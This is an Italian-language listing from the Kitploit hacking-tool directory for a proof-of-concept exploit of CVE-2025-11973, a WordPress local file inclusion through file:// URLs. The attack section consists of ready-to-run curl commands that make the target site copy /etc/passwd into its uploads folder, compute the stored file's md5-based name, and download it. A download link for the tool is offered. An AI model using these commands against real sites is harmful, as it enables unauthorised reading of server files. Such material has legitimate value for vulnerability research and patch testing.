Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-11973 — Proof-of-concept exploit per CVE-2025-11973 che dimostra l'inclusione locale di file (LFI) in WordPress tramite il protocollo file://, con esfiltrazione automatica di /etc/passwd nella directory uploads. | Kitploit
Strumenti/GitHubGitHub/jfriedli/cve-2025-11973
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiRaccolta Informazioni
GitHubjfriedli/cve-2025-11973

CVE-2025-11973

Proof-of-concept exploit per CVE-2025-11973 che dimostra l'inclusione locale di file (LFI) in WordPress tramite il protocollo file://, con esfiltrazione automatica di /etc/passwd nella directory uploads.

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Attivazione: Leggi /etc/passwd tramite file:// ed esfiltra verso gli upload

root@kitploit:~
curl -sS -A "$UA" -X POST "$BASE/?__kds_flag=post" \
  --data-urlencode "kds_password=$SECRET" \
  --data-urlencode "post_title=sub1-lfi" \
  --data-urlencode "__kds_feature_url=file:///etc/passwd"

Recupera il file esfiltrato

Calcola il nome del file archiviato

root@kitploit:~
HASH=$(printf 'file:///etc/passwd' | md5sum | awk '{print $1}')

Recupera il file

root@kitploit:~
curl -sS -A "$UA" "$BASE/wp-content/uploads/$YMD/${HASH}.jpg" | head -n 25
Scarica lo strumento